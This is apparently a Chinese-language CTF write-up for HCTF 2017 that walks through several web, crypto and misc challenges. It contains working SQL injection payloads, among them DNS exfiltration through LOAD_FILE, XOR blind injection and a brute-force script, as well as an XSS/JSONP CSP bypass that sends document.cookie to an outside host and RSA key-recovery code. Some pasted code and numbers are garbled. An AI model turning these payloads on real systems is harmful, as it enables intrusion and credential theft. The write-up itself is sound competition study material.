显然 flag 在 MySQL 中,代码只查询了 SQL 语句,但是没有显示。sleep 和 benchmark 等函数被禁用导致传统的盲注难以进行。由于没有过滤 LOAD_FILE,通过 DNS 传送数据也许可行。于是搞了个域名,设置好 NS, 用网上搜到的 Python 脚本做 DNS 服务器。使用这种语法即可收到 DNS 查询:

```
0 union select * from openquery(mysql,'SELECT
```

LOAD_FILE(CONCAT(0x5c5c,(SELECT 13112121),0x2e6765746261636b2e63665c666f6f626172))');

然后通过以下步骤得到 flag:

```
数据库名 webwebweb select table_schema from information_schema.columns order by 1 desc limit 1 表名 secret select table_name from information_schema.columns where table_schema = 0x776562776562776562 order by 1 desc limit 1 1 行 select count(*) from secret limit 1 3 列 id name password select column_name from information_schema.columns where table_name=0x736563726574 limit 0,1 select hex(password) from secret id 1 name flag password: >>> '646E352D316F672D63616E2D74616B652D663134672D366173383466'.decode('hex') 'dn5-log-can-take-fl4g-6as84f'
```

SQL Silencer

这题本以为注入完 flag 就出来了,没想到一环套一环,心态崩了。幸亏学弟接替我又找到了一个漏洞得到了 flag。

题目链接是 http://sqls.2017.hctf.io/index/index.php?id=1,经过手动一番测试,发现后端逻辑较为复杂。对 ASCII 0-127 的字符进行测试,发现只有 1 2 3 的输出不是 We only have 3 users.。进一步测试发现只要不以 1 2 3 开头的字符串都会直接输出 We only have 3 users.。其余的测试:

```
1 Alice
2 Bob
3 Cc
1 and 1
          Nonono!
1 and
          Nonono!
      There is nothing
                             像是不带单引号的查询
0.9
      We only have 3 users.
      Alice
1.0
1.1
      Id error
1.5
      Id error
2.1
      Id error
      Alice
1e0
      There is nothing
1f0
1* 2* 3* Nonono!
      Nonono!
1+1
1空格 Nonono!
1,
      Nonono!
1limit Nonono!
```

显然 Nonono! 代表被 WAF 过滤,There is nothing 代表 SQL 被查询结果为空。WAF 过滤了: 空格 limit 单引号 or for + - * /。 然后我尝试提交 1^sleep(3) 使用异或运算符成功 sleep() 了 3 秒种,输出为 Alice。测试了以下 payload,证明可以盲注:

```
1^{(case(1)when(1)then(2)else(0)end)} Cc 1^2 == 3 1^{(case(0)when(1)then(2)else(0)end)} Alice 1^0 == 1
```

然后获取信息:


```
1^(case(select(count(1))from(flag))when(2)then(2)else(0)end) Cc flag 表有 2 行
1^(case(select(count(flag))from(flag))when(2)then(2)else(0)end) 列名 flag
1^(case(select(count(id))from(flag))when(2)then(2)else(0)end) 列名 id
1^(case(select(ascii(substr((database())from(1)))))when(104)then(2)else(0)end) 数据库名 'hctf'
```

由于 flag 表只有两行,可以用 max() 和 min() 区分,得到下一关的入口:

```
'./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/'
'1^(case(select(ascii(substr(min(flag)from(%d))))from(flag))when(%d)then(2)else(0)end)'
```

访问这个地址,是一个 typecho 的博客。 typecho 前段时间刚爆出一个反序列化漏洞可导致 getshell 直接访问 install.php,发现存在 install.php,那事情就很好办了构造序列化字符串,列出根目录下所有文件,最终在根目录下/flag/shere/flag 里发现

flag



A true man can play a palo one hundred time

这题略有意思,题目给出了一个平衡木,每次可以左移或右移一点,每次移动可以测量出4个参数,我猜可能是:位移、速度、角度、角速度。角度或位移超过某个定值就失败。于是随手写了个代码,参数是随便写的,没想到一遍就过了。

```
# encoding: utf-8
import os
import requests
import json
import random
sess = requests.Session()
if os.name == 'nt':
    sess.proxies = {'http':'http://127.0.0.1:8080/'} # burp
url = 'http://ezgame.2017.hctf.io/game'
token = 'Gk9tmlrhni9xXIBQb7MYRHtiWQI2vWvm'
direction = 1
while True:
   # 判决左移或右移的权重
   go_left = 0
   go_right = 0
    r = sess.get(url, params={'move':direction, 'id':token})
    print r.content
    result = json.loads(r.content)
    if result.has_key('flag'):
       print result['flag']
    if not result['status']:
       print 'failed'
       break
   else:
       print result['count'],
    status = result['observation']
   # 位移
   if status[0] > 0.015:
       go_left += 1
   if status[0] < -0.015:
       go_right += 1
   #角度
   if status[2] > 0.015:
       go_right += 1
```

```
if status[2] < -0.015:
   go_left += 1
# 速度
if status[1] > 0.01:
   go_left += 1
if status[1] < -0.01:
   go_right += 1
# 角速度
if status[3] > 0.01:
   go_right += 1
if status[3] < 0.01:
   go_left += 1
print go_right, go_left,
if go_right == go_left:
   direction = random.randint(0,1)
else:
   if go_right > go_left:
       direction = 1
   else:
       direction = 0
print direction
```

最后得到了 flag:

```
{"count": 100, "status": false, "flag":
"hctf{d776738aa2e19391960368f554d6326c418d0b7c7510562e9dd1b4d3531e1aeb}"}
```

后来我猜测也许只需要简单地左右交替挪动就能出 flag。

poker-poker

- 最开始有 **注册、密保、登录** 三个部分
- 经过测试,在 密保和登录处有严格的 WAF
- 在注册处 bname 代表玩家名, username 代表用户名,pass 代表密码
- o 当 **username** 为单引号(') 时,不管 ** bname** 为何值,永远返回 **"OK1!"**
- 当 username 为两个单引号(") 时,不管 ** bname** 为何值,永远返回 **"OK 角色已经存在或者您已经有一个角色!"**
- o pass 同理
- o 并没有像 密保 和 登录 那里存在严格的 WAF
- 。 则在注册处存在 SQL 盲注
- 。 测试后端的注册逻辑(假设表名为 user)
- select * from user where username = '\$username' # 查 username 是否存在
- select * from users where bname = '\$bname' # 如果 username 不存在,查 bname 是否存在
- insert into users (bname, username, password) values ('\$bname', '\$username', 'pass') # 如果 bname 也不存在,注册成功
- 若 username 存在或 bname 存在,直接返回 "OK 角色已经存在或者您已经有一个角色!"
- 构造 payload 以及编写爆破脚本

```
result = ''
while(True):
   i = 0
   for _ in range(0, len(dic)):
      ch = dic[i]
      if ch == '_' or ch == '{' or ch == '}' or ch == ',':
          ch = ' \setminus ' + ch
      bname = ''.join( random.sample( string.ascii_letters + string.digits, 14 ) )
      username = "admin' and '1'=(select if((!!!inject here!!!) like binary '%s%s%%',1,0))='" % (result, ch)
      params['bname'] = bname
      params['username'] = username
      ret = requests.get(url=url, params=params)
      if ret.text == 'OK1':
          result = result + ch
          i = 0
          print result
      else:
          i = i + 1
   print '[*]Result: ' + result.replace( '\\', '' )
* 注意如果要 username 处注入,则 bname 每次需要不同的随机字符串,经测试 bname 最大长度为 15,则每次盲注时需产生 15 位的随机字符串以减小碰撞概率(实际也发生了碰撞)
* 注意逗号(, ) 花括号({ }), 下划线( _ ) 等字符需要转义
```

- 爆当前用户 username = "admin' and '1'=(select if((select user()) like binary '%s%s%%',1,0))='" % (result, ch)
- 爆当前数据库 username = "admin' and '1'=(select if((select database()) like binary '%s%s%%',1,0))='" % (result, ch)
- 爆所有库名 username = "admin' and '1'=(select if((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA) like binary '%s%s%%',1,0))='" %

```
while(True):
C 28
               for _ in range(0, len(dic)):
                   ch = dic[i]
                   if ch == '_' or ch == '{' or ch == '}' or ch == ',' or ch == '?' or ch == '<' or ch ==
                        ch = '\\' + ch
<sup>≈</sup>| 32
                   bname = ''.join(_random.sample(_string.ascii_letters + string.digits, 14_)_)
                   username = "admin' and '1'=(select if((SELECT group_concat(COLUMN_NAME) FROM information
                   #print username
                   #print username
                   params['bname'] = bname
                   params['username'] = username
                   ret = requests.get(url=url, params=params)
                   if ret.text == 'OK1':
                        result = result + ch
                        print result
           while (True) → for _ in range(... → else
  Run 🌼 patgamg2
           hctf\, information\_schema\, pm\_hctf\, pmm
           hctf\, information\_schema\, pm\_hctf\, pmmg
           [*]Result: hctf, information_schema, pm_hctf, pmmg
           [*]Result: hctf, information_schema, pm_hctf, pmmg
           [*]Result: hctf, information_schema, pm_hctf, pmmg
           [*] Result: hctf, information schema, pm hctf, pmmg
```

• 爆 hctf 库下表名 username = "admin' and '1'=(select if((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='hctf') like binary '%s%s%%',1,0))='" % (result, ch)

```
for _ in range(0, len(dic)):
               ch = dic[i]
               if ch == '_' or ch == '{' or ch == '}' or ch == ',':
                   ch = '\\' + ch
               bname = ''.join(_random.sample(_string.ascii_letters + string.digits, 14_)_)
               username = "admin' and '1'=(select if((select group_concat(TABLE_NAME) from informat
               params['bname'] = bname
               params['username'] = username
               ret = requests.get(url=url, params=params)
               if ret.text == 'OK1':
                   result = result + ch
                   print result
       while (True) → for _ in range(...
Run 🦆 patgamg2
       [*]Result: flag2
       [*]Result: flag2
       [*]Result: flag2
       程序完成后退出代码1
```

• 爆 hctf.flag2 下的字段名 username = "admin' and '1'=(select if((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='hctf' and table_name='flag2') like binary '%s%s%%',1,0))='" % (result, ch)

```
for _ in range(0, len(dic)):
            ch = dic[i]
            if ch == '_' or ch == '{' or ch == '}' or ch == ',':
                ch = '\\' + ch
            bname = ''.join(_random.sample(_string.ascii_letters + string.digits, 14_)_)
            username = "admin' and '1'=(select if((select group_concat(COLUMN_NAME) from infor
                       "TABLE_SCHEMA='hctf' and table_name='flag2') like binary '%s%s\%',1,0))
            params['bname'] = bname
            params['username'] = username
            ret = requests.get(url=url, params=params)
            if ret.text == 'OK1':
                result = result + ch
                print result
    while (True) → for _ in range(...
🦣 patgamg2
    fla
    flag
    [*]Result: flag
    程序完成后退出代码1
```

• 爆 flag username = "admin' and '1'=(select if((select flag from hctf.flag2) like binary '%s%s%%',1,0))='" % (result,

```
username = "admin' and '1'=(select if((select flag from hctf.flag2) like binary '%s%s%%',1,0))
params['bname'] = bname
params['username'] = username
ret = requests.get(url=url, params=params)
if ret.text == 'OK1':
    result = result + ch
    i = 0
    print result
else:
    i = i + 1

print '[*]Result: ' + result.replace(_'\\', ''__)

atgamg2
[*]Result: hctf(y3u_GOt_tHe_poker_game)
[*]Result: hctf(y3u_GOt_tHe_poker_game)

[*]Result: hctf(y3u_GOt_tHe_poker_game)

[*]Result: hctf(y3u_GOt_tHe_poker_game)
```

poker2

- 我们在排行榜上找到了一个快要到达 Lv100 的账号
- 通过 poker-poker2 中的 SQL 盲注漏洞
- 。 我们在 pm_hctf 库中查出了所有的表
- 。 其中有一张表为 player
- 。 我们爆出该表中的所有字段
- 。 其中有字段为 secret 和 password
- 。 经过测试我们发现 secret 字段保存了用户的 md5(密码)
- o 由于不知道什么原因我们查不出 password 字段,但是可以查到 secret
- 。 于是我们根据该用户名查到了其密码的 md5
- 。 并且成功破解该 md5 拿到了密码



• 拿到密码后等待该用户到达 Lv100

getFlag when you are at level 100!!!

One of your pets:level:100 hctf{Go0dLuck_toGetTheFl3g_from_game}

- 然后迅速访问 flag.php
- 拿到 flag

A World Restored Again

在登出状态下,打开 http://messbox.2017.hctf.io/user.php 会弹出对话框,提示需要先进行登录,之后跳转到连接 http://auth.2017.hctf.io/login.php?n_url=http://messbox.2017.hctf.io/user.php

返回的页面将 window.location 设置为 n url,此页面没有任何过滤,于是构造 payload 为:

http://auth.2017.hctf.io/login.php?n_url=javascript:blue-whale%27%3C/script%3E<script

src="http://auth.2017.hctf.io/getmessage.php?callback=window.location='http://donky.top/?cookie='%252Bdocument.cookie;//"></script>

返回页面会将 window.location 设置为"javascript:blue-whale",由于没有绕过白名单,因此不会跳转,又由于 script 标签没有过滤,因此可以构造 script 标签

<script src="http://auth.2017.hctf.io/getmessage.php?callback=window.location='http://donky.top/?cookie='%252Bdocument.cookie;//"></script>

利用白名单域下的 JSONP XSS 绕过网站的 CSP 安全策略。

存在连接: http://auth.2017.hctf.io/getmessage.php?callback=Update, callback 没有进行过滤,于是修改 callback 参数为: window.location='http://donky.top/?cookie='%252Bdocument.cookie;//

即可获取 cookie

Extra


Big_zip —— Extra level-1

- 打开压缩包发现里面有 41 个 smallxx.txt 文件和一个 somethingsmallmakeme_bigger.txt 以及 flag.txt
- 所有文件是加密的且不是伪加密
- 但是注意到 *smallxx.txt 的文件长度都为 5,且 somethingsmallmakeme bigger.txt* 的长度为 205,刚好等于 41 x 5
- 猜测 somethingsmallmakemebigger.txt 的文件内容为所有 small_xx.txt 文件内容的总和
- 总体思路:
- o small_xx.txt 文件只有 5 字节,可以使用 CRC32 爆破
- o 将爆破出的 *smallxx.txt 内容拼接起来得到 somethingsmallmakeme_bigger.txt* 的明文(测试拼接后的字符串压缩后的 CRC32 是否等于原加密压缩文件中 *somethingsmallmakemebigger.txt* 的 CRC32)
- o 使用明文攻击解密压缩文件得到 flag



pokemon

作为一个单纯的孩子, 当我打开游戏看到




IT IS HIDE RIGHT IN THE FIRST GYM! Beat the leader!!

我们就特别开心的打游戏去了

然而。。

当队友干掉道馆的 leader 后




真的是很开心呢 Orz

既然不让我们好好打游戏,就用了 PPRE


用 PPRE 载入后

把地图加载到该道馆

发现了了不得的东西



可以在脚本中看到



flag 是 text_64

text_64="hctf(6A0A81AB5F9917B1EEC3A6183C614380)"

flag:hctf{6A0A81AB5F9917B1EEC3A6183C614380}

babyRSA

```
r1 = 6598909501099890590501951090
r2 =
12505331721742270363137612762738636639902671373538513981980986448268387188711968140239790982870495705975401921886232286279297149058909696270849155891319488
37355770675379109217600467210211774480669873930436792236339397666821697902989996271489957440866372144477752323051878386910496195336799139728704148477602001
27920327547489195005471949750762499651666979874237449196041354329376639102926298673668042929064608551695423741743506387534300643610452877717014033591001930
935555087196512183823418960328065839748315339794001255939922275175555606857366988899095600426091302541083262153822395120218557401568695043297459595757761
n =
28124117761388160220468752137723495900293318442410506300665177472538613351183337437352472070820751874018152812519532705627037368007252501266169086874875302
6490258288328009352359956361153175534584879368085812533289385317711592316550940319564679100808176059766076314826151340651318137022350760259131840671879277086
60370697510272058989674852834164955181362133287747376697330636768825211922537103110956537458440607240441920817398701391608597829503416140307064172898650801
43726523365375250320129033379939058893368137774446487054931828650434754750095107044829292293232214780511176906486380449742292870593714154549696679752973
```

```
s1 =
78436734274823247824075508267879105267086851356112808122777113978108435102216402923185264509333884250753184514452753604313003300636879468568692119000922
s2 =
33503988704481660728281905661173481675886368719059894523457454589800301544754755111455627908713796755344633494358594673172438722149793390265157084270532523
06924697624458097088669872169767318780839289981386628019163554141999559661198047144993480894009581058706132325546347660012300450260007768896489445815517122
tmp = (s1 * s2) % n
for e in xrange(2, 65536):
 if gmpy2.is_square(gmpy2.mpz(pow(tmp, e, n))):
   ans = gmpy2.isqrt(gmpy2.mpz(pow(tmp, e, n)))
   print hex(ans)[2:].decode('hex')
   break
```

weakRSA

```
from Crypto.Util import number
def WeakRSA():
 '(241294923082244798305318634306677632061135009479128941480491030464367510189023802165492120879450145758661753726993279523525625839845990249823227426534746
50254469019243745562427155195911292231061633627557914070970650388286259815766552728485153840458510677169495483383264554397982155108666923510839292748291941
61562948424712502572936325423915927172468045197421156626630731132301290818715301136889069584103438192536554783645316767285611179068445763473853664797445086
4723943635507973978195453912898978987904396630176208142995219377309529324099766495068346782530074954504554550936100220114319876296005855618193837568032249 \\ Learning and the company of the company of
, 65537,
1027858473671917072726804404402936457536654009127479782111485608535893583248521881600177011187947178911562558498454478748316568267937281566014028374288L,
[unknown
bits | 585021050422437790400309277934736421671174903453118287773262727237276990096608684311252820485289582300237832073420122197911787329400438609843024619449
22966247750242461743216893363299443719654909880809702541367873855895255523907972990800326451705112864796006038527060729689553463920019180339917499967991701\\
2421)'
      s = s[1:-1].split(',')
      n =
24129492308224479830531863430667763206113500947912894148049103046436751018902380216549212087945014575866175372699327952352562583984599024982322742653474650
25446901924374556242715519591129223106163362755791407097065038828625981576655272848515384045851067716949548338326455439798215510866692351083929274829194161
e = 65537
      c =
82501906512438350344250091033159360251073410912669964817479316694773297944913858329649126351878376540781477159427609197915714571270333171143111802571835157
9168351482529126118842059299158962257674467069791779790063016952925936137499454329685612750310715991790548532331650157826845125168164931203791100342890653316501676911003428906533165016769110034289065311003428906531100341100342890653110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034110034100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341100341
58502105042243779040030927793473642167117490345311828777326272723727699009660868431125282048528958230023783207342012219791178732940043860984302461944922966
2477502424617432168933632994437196549098808097025413678738558952555239079729908003264517051128647960060385270607296895534639200191803399174999679917012421
      lenN = 2048
      lenDD = 1028
      d = PartialKeyRecoveryAttack(n,lenN,dd,lenDD,e)
      m = pow(c,d,n)
      print hex(m)[2:-1].decode('hex')
def PartialKeyRecoveryAttack(n,len_n,dd,len_dd,e): #http://honors.cs.umd.edu/reports/lowexprsa.pdf
      rnd = number.getRandomInteger(len_dd)
      test = pow(rnd, e, n)
      for k in range(1,e):
             d = ((k * n + 1) // e)
```

```
d >>= len_dd
d <<= len_dd
d |= dd
if((e * d) % k == 1):
    if pow(test, d, n) == rnd:
        print "[+] Got full d = %s" % d
        return d

if __name__ == '__main__':
    WeakRSA()</pre>
```